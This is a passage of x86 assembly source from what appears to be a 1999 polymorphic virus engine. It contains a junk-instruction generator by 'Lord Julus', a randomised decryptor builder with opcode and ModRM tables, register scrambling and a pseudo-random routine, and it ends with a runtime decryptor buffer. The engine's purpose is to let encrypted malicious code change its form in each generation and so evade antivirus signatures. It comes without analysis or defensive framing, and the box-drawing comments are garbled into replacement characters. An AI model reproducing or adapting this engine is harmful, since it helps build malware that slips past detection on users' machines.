mov al, byte ptr [ebp+offset preg] ;
;
cmp al, 5 ; take care of [EBP] exception
jne not_ebp ; (when we use [EBP] addressing
mov al, 0 ; mode, we need a suplemental
stosb ; 00 byte after the opcode
mov al, 5 ; and a 01000000b fill up - see
and byte ptr [edi-2], 0 ; (*))
or byte ptr [edi-2], al ; and fill them up...
mov al, byte ptr [ebp+offset creg] ;
shl al, 3 ; align like this: xxNNNxxx
or byte ptr [edi-2], al ;
or byte ptr [edi-2], 01000000b ; (*)
mov increment_flag, 1 ;
mov eax, edi ;
sub eax, 3 ;
jmp done_i04 ;
;
;
not_ebp: ;
or byte ptr [edi-1], al ; and fill them up...
mov al, byte ptr [ebp+offset creg] ;
shl al, 3 ; align like this: xxNNNxxx
or byte ptr [edi-1], al ;
mov eax, edi ;
sub eax, 2 ;
;
done_i04: ;
mov dword ptr [ebp+offset mainlp], eax;
jmp ok_procs ;
;
proc05: ; creg, kreg
and byte ptr [edi-1], 11000000b ; clear for r/m and reg
mov al, byte ptr [ebp+offset creg] ; get creg,
shl al, 3 ; align like this xxNNNxxx
or byte ptr [edi-1], al ;
mov al, byte ptr [ebp+offset kreg] ;
or byte ptr [edi-1], al ;
and byte ptr [edi-2], 0 ;
mov eax, dword ptr [ebp+offset op1] ;
lea esi, [ebp+offset un_op_code1] ;
add esi, eax ;
mov al, byte ptr [esi] ;
or byte ptr [edi-2], al ;
jmp ok_procs ;
;
proc06: ; creg, key2
and byte ptr [edi-2], 11111000b ;
mov al, byte ptr [ebp+offset creg] ; fill creg
or byte ptr [edi-2], al ;
mov al, byte ptr [ebp+offset key2] ; fill key
or byte ptr [edi-1], al ;
mov eax, dword ptr [ebp+offset op2] ;
lea esi, [ebp+offset un_op_code3] ;
add esi, eax ;
mov al, byte ptr [esi] ;
and byte ptr [edi-2], 00000111b ;
or byte ptr [edi-2], al ;
jmp ok_procs ;
;
proc07: ; creg, [preg+4]
and byte ptr [edi-2], 11000000b ;
mov al, byte ptr [ebp+offset preg] ;
or byte ptr [edi-2], al ;
mov al, byte ptr [ebp+offset creg] ;
shl al, 3 ;
or byte ptr [edi-2], al ;
and byte ptr [edi-3], 0 ;
mov eax, dword ptr [ebp+offset op3] ;
lea esi, [ebp+offset un_op_code1] ;
add esi, eax ;
mov al, byte ptr [esi] ;
or byte ptr [edi-3], al ;
jmp ok_procs ;
;
proc08: ; mov [preg], creg
and byte ptr [edi-1], 11000000b ; clear for pointer and code regs
mov al, byte ptr [ebp+offset preg] ;
cmp al, 5 ; take care of [EBP] exception
jne not_ebp2 ; (check proc04 for explanation)
mov al, 0 ;
stosb ;
mov al, 5 ;
and byte ptr [edi-2], 0 ;
or byte ptr [edi-2], al ; and fill them up...
mov al, byte ptr [ebp+offset creg] ;
shl al, 3 ; align like this: xxNNNxxx
or byte ptr [edi-2], al ;
or byte ptr [edi-2], 01000000b ;
mov increment_flag, 1 ;
jmp done_i08 ;
;
not_ebp2: ;
or byte ptr [edi-1], al ; and fill them up...
mov al, byte ptr [ebp+offset creg] ;
shl al, 3 ; align like this: xxNNNxxx
or byte ptr [edi-1], al ;
;
done_i08: ;
jmp ok_procs ;
;
proc09: ; kreg, keyvalue
and byte ptr [edi-6], 0 ;
mov eax, dword ptr [ebp+offset op4] ;
lea esi, [ebp+offset un_op_code2] ;
shl eax, 1 ;
add esi, eax ;
mov ax, word ptr [esi] ;
and word ptr [edi-6], 0 ;
or word ptr [edi-6], ax ;
and byte ptr [edi-5], 11111000b ;
mov al, byte ptr [ebp+offset kreg] ; fill kreg
or byte ptr [edi-5], al ;
mov eax, dword ptr [ebp+offset keyvalue] ; fill key
and dword ptr [edi-4], 0 ;
or dword ptr [edi-4], eax ;
jmp ok_procs ;
;
proc10: ; sub preg, 4
and byte ptr [edi-2], 11111000b ;
mov al, byte ptr [ebp+offset preg] ;
or byte ptr [edi-2], al ;
jmp ok_procs ;
;
proc11: ; sub lreg, 1
and byte ptr [edi-2], 11111000b ;
mov al, byte ptr [ebp+offset lreg] ;
or byte ptr [edi-2], al ;
jmp ok_procs ;
;
proc12: ; jnz mainloop
mov eax, dword ptr [ebp+offset mainlp];
mov edx, edi ;
add edx, 4 ;
sub eax, edx ;
and dword ptr [edi], 0 ;
or dword ptr [edi], eax ;
popad ;
add edi, 4 ;
jmp special_ok_procs ;
;
ok_procs: ; done!
popad ; restore all regs
;
special_ok_procs: ;
cmp [ebp+increment_flag], 1 ; If we stored suplemental bytes
jne no_increment ; we need to move edi forward.
inc edi ;
mov [ebp+increment_flag], 0 ;
;
no_increment: ;
ret ; and return
makeinstr endp ;
;
;????????????????????????????????????????????????????????????????????????????
; ?<3F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; ?<3F><>
; ?<3F><> Lord Julus' Junk Generator Module V.1.0 (March 1999) ?
; ?<3F> <20>?
; ? <20><>?
; <20><>?
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?
makejunk proc near ; This is the main junk
push eax ebx ecx edx esi ;
mov ecx, maxjunks ; routine.
junk_loop: ;
call _makejunk ;
loop junk_loop ;
pop esi edx ecx ebx eax ;
ret ;
makejunk endp ;
db "JGM - Junk Generator Module V.1.0 by Lord Julus - March 1999"
;
_makejunk proc near ; Generate junk!
push eax ;
mov eax, 5 ; choose between safe junks
call brandom32 ; and junks that might
cmp eax, 3 ; generate exception errors
jae flawable_junk ;
;
call make_sure_junk ;
jmp exit_junk ;
;
flawable_junk: ;
call make_flaw_junk ;
;
exit_junk: ;
pop eax ;
ret ; and return
_makejunk endp ;
;
make_flaw_junk proc near ; Here we will generate
push eax ebx ecx edx ; junks that could raise
mov eax, max_junk_hunk ; exception errors...
call brandom32 ;
inc eax ;
;
mov [ebp+flawable], 0 ; (mark the type)
;
mov ecx, eax ;
;
mov al, 0E9h ; ...and so we generate a
stosb ; Jump to skip them
mov [ebp+address_save], edi ; save jump place
mov eax, 0 ;
stosd ;
;
repeat_makejunk: ;
call output_one_junk ; now we make the junks
loop repeat_makejunk ;
;
push edi ;
sub edi, [ebp+address_save] ; and create the jump
mov eax, edi ; address
sub eax, 4 ;
mov edi, [ebp+address_save] ;
stosd ;
pop edi ;
;
pop edx ecx ebx eax ;
ret ;
make_flaw_junk endp ;
;
make_sure_junk proc near ;
push eax ebx ecx edx ; junks that could raise
mov eax, max_junk_hunk ; exception errors...
call brandom32 ;
inc eax ;
;
mov [ebp+flawable], 1 ; (mark type)
;
mov ecx, eax ;
;
repeat_makejunk_2: ;
call output_one_junk ; now we make the junks
loop repeat_makejunk_2 ;
;
pop edx ecx ebx eax ;
ret ;
make_sure_junk endp ;
;
output_one_junk proc ; This procedure outputs
push ecx ; one junk instruction
;
call choose_random_disp ; First choose displacements
;
choose_another: ;
mov eax, Table_numbers ; Choose one instruction
call brandom32 ; table
;
cmp [ebp+we_create_jcond], 1 ; prevent reentry
jne no_case ; when creating conditional
cmp eax, 3 ; jumps
je choose_another ;
cmp eax, 5 ;
je choose_another ;
;
no_case: ;
cmp [ebp+flawable], 1 ; if the instruction mustn't
jne go_on_unstopped ; generate exception errors
cmp eax, 0 ; we cannot use table 1!
je choose_another ;
;
go_on_unstopped: ;
lea ebx, dword ptr [ebp+junk_table_procs] ; take out the procedure
shl eax, 2 ;
add ebx, eax ;
mov eax, dword ptr [ebx] ;
add eax, ebp ;
jmp eax ; and jump to it...
;
junk_proc1: ; here we use table1
mov eax, 2 ;
call brandom32 ;
mov ebx, eax ; save possible increment
add ebx, 2 ; 2 or 3...
;
mov eax, Table1_len ; take a random operation
call brandom32 ; from the Table1
shl eax, 1 ;
lea esi, dword ptr [ebp+Table1] ;
add esi, eax ;
lodsb ;
add eax, ebx ; toggle size
stosb ;
;
lea esi, dword ptr [ebp+ModRM] ; take a modrm byte
call choose_jreg ; choose the random jreg
mov edx, eax ;
mov eax, 32 ; and a random addressing
call brandom32 ; type
mov dword ptr [ebp+row], eax ; save the row
shl eax, 3 ;
add esi, eax ;
add esi, edx ;
lodsb ;
stosb ; store modrm
;
mov eax, 2 ; choose addressing type
call brandom32 ;
;
cmp eax, 1 ; is it 32bit addressing?
je _32bit_addressing ;
;
mov ax, word ptr [edi-2] ; if it's 16bit then we
shl eax, 10 ; must go behind the opcode
dec edi ;
dec edi ;
mov al, Address_size_toggle ; and put an Address size
stosb ; toggle prefix there
shr eax, 10 ;
stosw ;
;
_16bit_addressing: ;
mov edx, dword ptr [ebp+row] ; restore row in edx
cmp edx, 6 ; DISP16 needed ?
jne not_exc_1 ;
mov ax, word ptr [ebp+disp16] ;
stosw ;
;
jmp finish_processing_1 ;
;
not_exc_1: ;
cmp edx, 7 ; Need to add a DISP8 ?
jbe not_exc_2 ;
cmp edx, 16 ;
jae not_exc_2 ;
mov al, byte ptr [ebp+disp8] ;
stosb ;
;
jmp finish_processing_1 ;
;
not_exc_2: ;
cmp edx, 15 ; Need to add a DISP16 ?
jbe not_exc_3 ;
cmp edx, 24 ;
jae not_exc_3 ;
mov ax, word ptr [ebp+disp16] ;
stosw ;
;
jmp finish_processing_1 ;
;
not_exc_3: ;
jmp finish_processing_1 ;
;
_32bit_addressing: ;
mov edx, dword ptr [ebp+row] ; restore row in edx
cmp edx, 5 ;
jne not_exc_4 ;
mov eax, dword ptr [ebp+disp32] ;
stosd ;
jmp finish_processing_1 ;
;
not_exc_4: ;
cmp edx, 4 ;
je need_sib ;
cmp edx, 12 ;
je need_sib ;
cmp edx, 20 ;
je need_sib ;
;
cmp edx, 7 ; Need to add a DISP8 ?
jbe not_exc_5 ;
cmp edx, 16 ;
jae not_exc_5 ;
mov al, byte ptr [ebp+disp8] ;
stosb ;
jmp finish_processing_1 ;
;
not_exc_5: ;
cmp edx, 15 ; Need to add a DISP32 ?
jbe not_exc_6 ;
cmp edx, 24 ;
jae not_exc_6 ;
mov eax, dword ptr [ebp+disp32] ;
stosd ;
jmp finish_processing_1 ;
;
not_exc_6: ;
jmp finish_processing_1 ;
;
need_sib: ; if we need a SIB byte
lea esi, dword ptr [ebp+ModRM] ; we compute it rite here...
mov eax, 8 ;
call brandom32 ;
mov ebx, eax ;
mov eax, 32 ;
call brandom32 ;
cmp eax, 4 ;
je need_sib ;
cmp eax, 12 ;
je need_sib ;
cmp eax, 20 ;
je need_sib ;
shl eax, 3 ;
add esi, eax ;
add esi, ebx ;
lodsb ;
stosb ;
cmp edx, 12 ;
jne maybe_32 ;
mov al, byte ptr [ebp+disp8] ;
stosb ;
jmp finish_processing_1 ;
;
maybe_32: ;
cmp edx, 20 ;
jne finish_processing_1 ;
mov eax, dword ptr [ebp+disp32] ;
stosd ;
jmp finish_processing_1 ;
;
finish_processing_1: ;
jmp over_one_junk ;
;
junk_proc2: ; here we use Table 2
mov eax, 2 ;
call brandom32 ;
mov ebx, eax ;
mov ebx, 1 ; force 16/32bit
mov eax, Table2_len ; take a random operation
call brandom32 ; from the Table2
shl eax, 1 ;
lea esi, dword ptr [ebp+Table2] ;
add esi, eax ;
lodsb ;
add eax, ebx ; toggle size
stosb ;
;
xor eax, eax ;
call choose_jreg ;
mov ebx, eax ;
shl bx, 3 ;
call choose_jreg ;
or bl, al ;
mov al, bl ;
or al, 11000000b ; make reg to reg
stosb ;
;
jmp over_one_junk ;
;
junk_proc3: ;
mov eax, Table3_len-2 ; take a random operation
call brandom32 ; from the Table3
shl eax, 1 ;
lea esi, dword ptr [ebp+Table3] ;
add esi, eax ;
lodsb ;
xchg eax, ebx ;
call choose_jreg ;
add ebx, eax ;
xchg eax, ebx ;
stosb ;
;
jmp over_one_junk ;
;
junk_proc4: ; Here we create short
mov [ebp+we_create_jcond], 1 ; conditional jumps
lea esi, dword ptr [ebp+Table4] ;
lodsb ;
xchg eax, ebx ;
mov eax, 0eh ;
call brandom32 ;
add ebx, eax ;
xchg eax, ebx ;
stosb ;
xor al, al ;
stosb ;
;
push word ptr [ebp+flawable] ;
;
mov [ebp+flawable], 1 ;
;
push edi ;
call output_one_junk ; output one junk after
pop ebx ; the conditional jump
push ebx ;
xchg edi, ebx ;
sub ebx, edi ;
add edi, ebx ;
pop esi ;
dec esi ;
mov byte ptr [esi], bl ;
;
mov [ebp+we_create_jcond], 0 ;
;
pop word ptr [ebp+flawable] ;
;
jmp over_one_junk ;
;
junk_proc5: ;
call choose_jreg ; Make imm to reg
mov ebx, eax ; choose the register
mov eax, Table5_len ; take a random operation
call brandom32 ; from the Table1
mov eax, 1 ; force 16/32 bit
mov ecx, eax ; save type
shl eax, 1 ;
lea esi, dword ptr [ebp+Table5] ;
add esi, eax ;
lodsb ;
add eax, ebx ;
;
stosb ; store opcode
;
; don't unmark these!!! I need some more conditions to make 8 bit mov
; cmp ecx, 1 ;
; je mov_1632bit ; 16 or 32 bit?
; ;
;mov_8bit: ;
; mov al, byte ptr [ebp+disp8] ; 8 bit imm
; stosb ;
; jmp quit_mov ;
;
mov_1632bit: ;
mov eax, 2 ; choose between 16 and
call brandom32 ; 32 bit
cmp eax, 0 ;
je do_16 ;
mov eax, dword ptr [ebp+disp32] ; 32 bit imm
stosd ;
jmp quit_mov ;
;
do_16: ;
dec edi ; 16 bit imm
mov al, byte ptr [edi] ; we need to override
mov byte ptr [edi+1], al ; the operand size
mov byte ptr [edi], 66h ;
add edi, 2 ;
mov ax, word ptr [ebp+disp16] ;
stosw ;
;
quit_mov: ; done!
jmp over_one_junk ;
;
junk_proc6: ;
mov [ebp+we_create_jcond], 1 ;
mov al, 0fh ;
stosb ;
lea esi, dword ptr [ebp+Table6] ;
lodsb ;
xchg eax, ebx ;
mov eax, 0eh ;
call brandom32 ;
add ebx, eax ;
xchg eax, ebx ;
stosb ;
xor eax, eax ;
stosd ;
;
push word ptr [ebp+flawable] ;
;
mov [ebp+flawable], 1 ;
;
push edi ;
call output_one_junk ;
pop ebx ;
push ebx ;
xchg edi, ebx ;
sub ebx, edi ;
add edi, ebx ;
pop esi ;
sub esi, 4 ;
mov dword ptr [esi], ebx ;
;
mov [ebp+we_create_jcond], 0 ;
;
pop word ptr [ebp+flawable] ;
;
jmp over_one_junk ;
;
junk_proc7: ;
mov eax, Table7_len ; take a random operation
call brandom32 ; from the Table1
shl eax, 1 ;
lea esi, dword ptr [ebp+Table7] ;
add esi, eax ;
lodsb ;
stosb ;
;
jmp over_one_junk ;
;
over_one_junk: ;
;
pop ecx ;
ret ;
output_one_junk endp ;
;
junk_table_procs label ; junk procs addresses
dd offset junk_proc1 ;
dd offset junk_proc2 ;
dd offset junk_proc3 ;
dd offset junk_proc4 ;
dd offset junk_proc5 ;
dd offset junk_proc6 ;
dd offset junk_proc7 ;
;
choose_jreg proc near ; choose one random junk
mov eax, 3 ; register out of the 3
call brandom32 ; available
cmp eax, 0 ;
jne not_0 ;
xor eax, eax ;
mov al, [ebp+jreg1] ;
ret ;
not_0: ;
cmp eax, 1 ;
jne not_1 ;
xor eax, eax ;
mov al, [ebp+jreg2] ;
ret ;
not_1: ;
xor eax, eax ;
mov al, [ebp+jreg3] ;
ret ;
choose_jreg endp ;
;
choose_random_disp proc near ; choose random displacements
push eax ;
call random32 ;
mov dword ptr [ebp+disp32], eax ; 32bit
call random32 ;
mov word ptr [ebp+disp16], ax ; 16bit
call random32 ;
mov byte ptr [ebp+disp8], al ; 8bit
pop eax ;
ret ;
choose_random_disp endp ;
;
maxjunks = 5 ;
max_junk_hunk = 3 ;
row dd 0 ;
ModRM label
; The Intel(C) instruction set comes in the following mode:
;
; Prefixes, Opcode, Mod/RM, SIB, immediate
;
; The Mod/RM and SIB bytes are defined in the following table:
;
;????????????????????????????????????????????????????????????????????????????
;? MOD/RM AND SIB BYTE VALUES FOR ALL ADDRESSING MODES USED ?
;???????????????????????????????????????????????????????????????????????????<3F>
;? AL CL DL BL AH CH DH BH ? 8BIT REGISTER ?
;? AX CX DX BX SP BP SI DI ? 16BIT REGISTER ?
;? EAX ECX EDX EBX ESP EBP ESI EDI ? 32BIT REGISTER ?
;? 0 1 2 3 4 5 6 7 ? ORDER ?
;? 000 001 010 011 100 101 110 111 ????????????????????????????????<3F>
;? MOD/RM VALUE: (MOD = 00) ?16BIT ADDR ?32BIT AD.?SCALE ?
;????????????????????????????????????????????????????????????????????????????
db 000h,008h,010h,018h,020h,028h,030h,038h ;?[BX+SI] ?[EAX] ?[EAX] ?
db 001h,009h,011h,019h,021h,029h,031h,039h ;?[BX+DI] ?[ECX] ?[ECX] ?
db 002h,00Ah,012h,01Ah,022h,02Ah,032h,03Ah ;?[BP+SI] ?[EDX] ?[EDX] ?
db 003h,00Bh,013h,01Bh,023h,02Bh,033h,03Bh ;?[BP+DI] ?[EBX] ?[ECX] ?
db 004h,00Ch,014h,01Ch,024h,02Ch,034h,03Ch ;?[SI] ?[--] ?NONE ?
db 005h,00Dh,015h,01Dh,025h,02Dh,035h,03Dh ;?[DI] ?D32 ?[EBP] ?
db 006h,00Eh,016h,01Eh,026h,02Eh,036h,03Eh ;?D16 ?[ESI] ?[ESI] ?
db 007h,00Fh,017h,01Fh,027h,02Fh,037h,03Fh ;?[BX] ?[EDI] ?[EDI] ?
; MOD/RM VALUE: (MOD = 01) ? ? ? ?
db 040h,048h,050h,058h,060h,068h,070h,078h ;?[BX+SI+D8] ?[EAX+D8] ?[EAX*2] ?
db 041h,049h,051h,059h,061h,069h,071h,079h ;?[BX+DI+D8] ?[ECX+D8] ?[ECX*2] ?
db 042h,04Ah,052h,05Ah,062h,06Ah,072h,07Ah ;?[BP+SI+D8] ?[EDX+D8] ?[EDX*2] ?
db 043h,04Bh,053h,05Bh,063h,06Bh,073h,07Bh ;?[BP+DI+D8] ?[EBX+D8] ?[EBX*2] ?
db 044h,04Ch,054h,05Ch,064h,06Ch,074h,07Ch ;?[SI+D8] ?[--+D8] ?NONE ?
db 045h,04Dh,055h,05Dh,065h,06Dh,075h,07Dh ;?[DI+D8] ?[EBP+D8] ?[EBP*2] ?
db 046h,04Eh,056h,05Eh,066h,06Eh,076h,07Eh ;?[BP+D8] ?[ESI+D8] ?[ESI*2] ?
db 047h,04Fh,057h,05Fh,067h,06Fh,077h,07Fh ;?[BX+D8] ?[EDI+D8] ?[EDI*2] ?
; MOD/RM VALUE (MOD = 10) ? ? ? ?
db 080h,088h,090h,098h,0A0h,0A8h,0B0h,0B8h ;?[BX+SI+D16]?[EAX+D32]?[EAX*4] ?
db 081h,089h,091h,099h,0A1h,0A9h,0B1h,0B9h ;?[BX+DI+D16]?[ECX+D32]?[ECX*4] ?
db 082h,08Ah,092h,09Ah,0A2h,0AAh,0B2h,0BAh ;?[BP+SI+D16]?[EDX+D32]?[EDX*4] ?
db 083h,08Bh,093h,09Bh,0A3h,0ABh,0B3h,0BBh ;?[BP+DI+D16]?[EBX+D32]?[EBX*4] ?
db 084h,08Ch,094h,09Ch,0A4h,0ACh,0B4h,0BCh ;?[SI+D16] ?[--+D32] ?NONE ?
db 085h,08Dh,095h,09Dh,0A5h,0ADh,0B5h,0BDh ;?[DI+D16] ?[EBP+D32]?[EBP*4] ?
db 086h,08Eh,096h,09Eh,0A6h,0AEh,0B6h,0BEh ;?[BP+D16] ?[ESI+D32]?[ESI*4] ?
db 087h,08Fh,097h,09Fh,0A7h,0AFh,0B7h,0BFh ;?[BX+D16] ?[EDI+D32]?[EDI*4] ?
; MOD/RM VALUE (MOD = 11) ? ? ? ?
db 0C0h,0C8h,0D0h,0D8h,0E0h,0E8h,0F0h,0F8h ;?EAX/AX/AL ?EAX/AX/AL?[EAX*8] ?
db 0C1h,0C9h,0D1h,0D9h,0E1h,0E9h,0F1h,0F9h ;?ECX/CX/CL ?ECX/CX/CL?[ECX*8] ?
db 0C2h,0CAh,0D2h,0DAh,0E2h,0EAh,0F2h,0FAh ;?EDX/DX/DL ?EDX/DX/DL?[EDX*8] ?
db 0C3h,0CBh,0D3h,0DBh,0E3h,0EBh,0F3h,0FBh ;?EBX/BX/BL ?EBX/BX/BL?[EBX*8] ?
db 0C4h,0CCh,0D4h,0DCh,0E4h,0ECh,0F4h,0FCh ;?ESP/SP/AH ?ESP/SP/AH?NONE ?
db 0C5h,0CDh,0D5h,0DDh,0E5h,0EDh,0F5h,0FDh ;?EBP/BP/CH ?EBP/BP/CH?[EBP*8] ?
db 0C6h,0CEh,0D6h,0DEh,0E6h,0EEh,0F6h,0FEh ;?ESI/SI/DH ?ESI/SI/DH?[ESI*8] ?
db 0C7h,0CFh,0D7h,0DFh,0E7h,0EFh,0F7h,0FFh ;?EDI/DI/BH ?EDI/DI/BH?[EDI*8] ?
; ???????????????????????????????????????????????????????????????????????????
; The prefixes:
Operand_size_toggle db 66h ; changes between 16bit and 32bit operands
Address_size_toggle db 67h ; changes between 16bit and 32bit addressing
; The toggle bytes (applied by XORing the OpCode with them):
Direction_toggle db 02h ; toggles operand->address and address->op.
Size_toggle db 01h ; toggles between 8bit and 16bit operators
; The immediate values used:
disp8 db 0 ; 8bit displacement
disp16 dw 0 ; 16bit displacement
disp32 dd 0 ; 32bit displacement
; Reg to/from Address: (second byte 0=only junk register / 1=any register)
Table1 label
db 000h, 0 ; ADD Explanation:
db 008h, 0 ; OR - unchaged = 8bit addr -> 8bit reg
db 010h, 0 ; ADC - +1 = 16bit addr -> 16bit reg
db 018h, 0 ; SBB - +2 = 8bit reg -> 8bit addr
db 020h, 0 ; AND - +3 = 16bit reg -> 16bit addr
db 028h, 0 ; SUB
db 030h, 0 ; XOR
db 038h, 1 ; CMP
db 088h, 0 ; MOV
Table1_len = ($-offset Table1)/2
Table2 label
db 084h, 1 ; TEST - unchanged = 8bit -> 8bit
db 086h, 0 ; XCHG +1 = 16bit -> 16bit
Table2_len = ($-offset Table2)/2
Table3 label
db 040h, 0 ; INC +reg number = INC reg
db 048h, 0 ; DEC +reg number = DEC reg
db 050h, 0 ; PUSH +reg number = PUSH reg
db 058h, 0 ; POP +reg number = POP reg
Table3_len = ($-offset Table3)/2
Table4 label
db 070h, 0 ; Conditonal Jump +0 .. +0Fh = jump condition
Table4_len = ($-offset Table4)/2
Table5 label
db 0B0h, 0 ; Mov immediate to 8bit reg +reg number = mov to reg
db 0B8h, 0 ; Mov immediate to 16/32bit reg +reg number = mov to reg
Table5_len = ($-offset Table5)/2
Table6 label
db 080h, 0 ; Long conditional jmp
Table6_len = ($-offset Table6)/2
Table7 label
clc
db 0
stc
db 0
cli
db 0
sti
db 0
cld
db 0
Table7_len = ($-offset Table7)/2
Tables label ; this is useless in this
dd offset Table1 ; version
dd offset Table2 ;
dd offset Table3 ;
dd offset Table4 ;
dd offset Table5 ;
dd offset Table6 ;
dd offset Table7 ;
;
Table_numbers = ($-offset Tables)/4 ; this is useful...
address_save dd 0
junk_finish dd 0
flawable dw 0
we_create_jcond db 0
first_intend dd 0
; ?<3F><> ?
; ?<3F> Junk Generator Module End <20>?
; ? <20><>?
;????????????????????????????????????????????????????????????????????????????
;?????????????????????????????????????????????????????????????????????????????
;? Here we have the place where the engine chooses the random stuff. ?
;?????????????????????????????????????????????????????????????????????????????
Choose_random_registers Proc Near ; Here we choose the random regs
pushad ;
lea edi, [ebp+used_registers] ; point to registers
lea esi, [ebp+used_registers] ; point to registers
mov edx, esi ; save position
mov ecx, 50h ; scramble 50h times
;
mangle: ;
mov eax, 7 ;
call brandom32 ; choose a random nr. between 0-6
mov ebx, eax ; in EBX
mov eax, 7 ;
call brandom32 ; choose a random nr. between 0-6
cmp ebx, eax ; in EAX
je mangle ; if EAX=EBX choose again
add edi, eax ; increment first pointer
add esi, ebx ; increment second pointer
mov al, byte ptr [edi] ; and exchange the values
xchg byte ptr [esi], al ; between them
mov byte ptr [edi], al ;
mov edi, edx ; restore position
mov esi, edx ;
loop mangle ; and do it 50h times
popad ;
Retn ;
Choose_random_registers Endp ;
;
randomize proc near ;
push eax ; this randomize procedure must
mov eax, dword ptr [esp-8] ; be called first when the word
add dword ptr [ebp+seed], eax ; on the stack is smth. like
pop eax ; 0BF87.... and it is different
ret ; for each loaded file depending
randomize endp ; on different thingies. The
; seed gets incremented anyway
random32 proc near ; from generation to generation.
push ecx ;
xor ecx, ecx ;
mov eax, dword ptr [ebp+seed] ;
mov cx, 33 ;
;
rloop: ;
add eax, eax ;
jnc $+4 ;
xor al, 197 ;
loop rloop ;
mov dword ptr [ebp+seed], eax ;
pop ecx ;
ret ;
random32 endp ;
seed dd 0BFF81234h ;
;
brandom32 proc near ;
push edx ; this procedure expects a value
push ecx ;
mov edx, 0 ; in EAX and returns a random
push eax ; number in EAX but smaller than
call random32 ; EAX's original value. Actually
pop ecx ; it bounds EAX (0<=EAX<=limit-1)
div ecx ; EDX and ECX are preserved
xchg eax, edx ;
pop ecx ;
pop edx ;
ret ;
brandom32 endp ;
;?????????????????????????????????????????????????????????????????????????????
;? Here we have the data on the decryptor generation. ?
;?????????????????????????????????????????????????????????????????????????????
decryptor:
i01: mov ebx, 0 ; mov preg, code_start
db 0feh ;
i02: mov ebx, 0 ; mov kreg, key
db 0feh ;
i03: mov ebx, 0 ; mov lreg, code_length/8
db 0feh ;
i04: mov ebx, dword ptr [ebx] ; mov creg, [preg] (mainloop)
db 0feh ;
i05: add ebx, ecx ; creg, kreg
db 0feh ;
i06: ror ebx, 0h ; creg, key2
db 0feh ;
i07: add ebx, dword ptr [ebx+4] ; creg, [preg+4]
db 0feh ;
i08: mov dword ptr [ebx], ebx ; mov [preg], creg
db 0feh ;
i09: add ebx, 12345678h ; kreg, keyvalue
db 0feh ;
i10: add ebx, 4 ; sub preg, 4
db 0feh ;
i11: sub ebx, 1 ; sub lreg, 1
db 0feh ;
i12: ;jnz 0 ; jnz mainloop
db 0fh, 85h ;
dd 0feh ;
db 0ffh ;
;?????????????????????????????????????????????????????????????????????????????
;? Here we have the engine's general data. ?
;?????????????????????????????????????????????????????????????????????????????
un_op_code1:
db 33h ; XOR
db 2Bh ; ADD
db 03h ; SUB
;
un_op_code2: ;
db 81h, 11110000b ; XOR
db 81h, 11101000b ; SUB
db 81h, 11000000b ; ADD
;
un_op_code3: ;
db 11000000b ; ROL
db 11001000b ; ROR
;
key dd 0 ;
key2 dd 0 ;
keyvalue dd 0 ;
op1 dd 0 ;
op2 dd 0 ;
op3 dd 0 ;
op4 dd 0 ;
;
used_registers: ;
creg Db 0 ; Register to hold the code
lreg Db 1 ; Register to hold the length of code
kreg Db 2 ; Register to hold the encryption key
preg Db 3 ; Register to hold the pointer in code
jreg1 Db 5 ; Junk register #1
jreg2 Db 6 ; Junk register #2
jreg3 Db 7 ; Junk register #3
;
counter dd 0 ; instruction counter
misc db 0 ; misc data
codeaddr dd 0 ; address of code
codelength dd 0 ; code length
mainlp dd 0 ; main loop address
the_end dd 0 ;
end_end dd 0 ;
;
increment_flag db 0 ; flag
;
MOF32 endp ;
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
; ????? ?????
; ? ? ? M?U?L?T?I?P?L?E O?P?C?O?D?E F?A?N?T?A?S?I?E?S 3?2 B?I?T ? ? ?
; ????? e n d ?????
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
; ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ????? ?????
end_of_code:
decrypt: ; where the runtime decryptor gets put...
db 700h dup (90h) ;
jmp realstart ;
end: ;
end start ;
end ;
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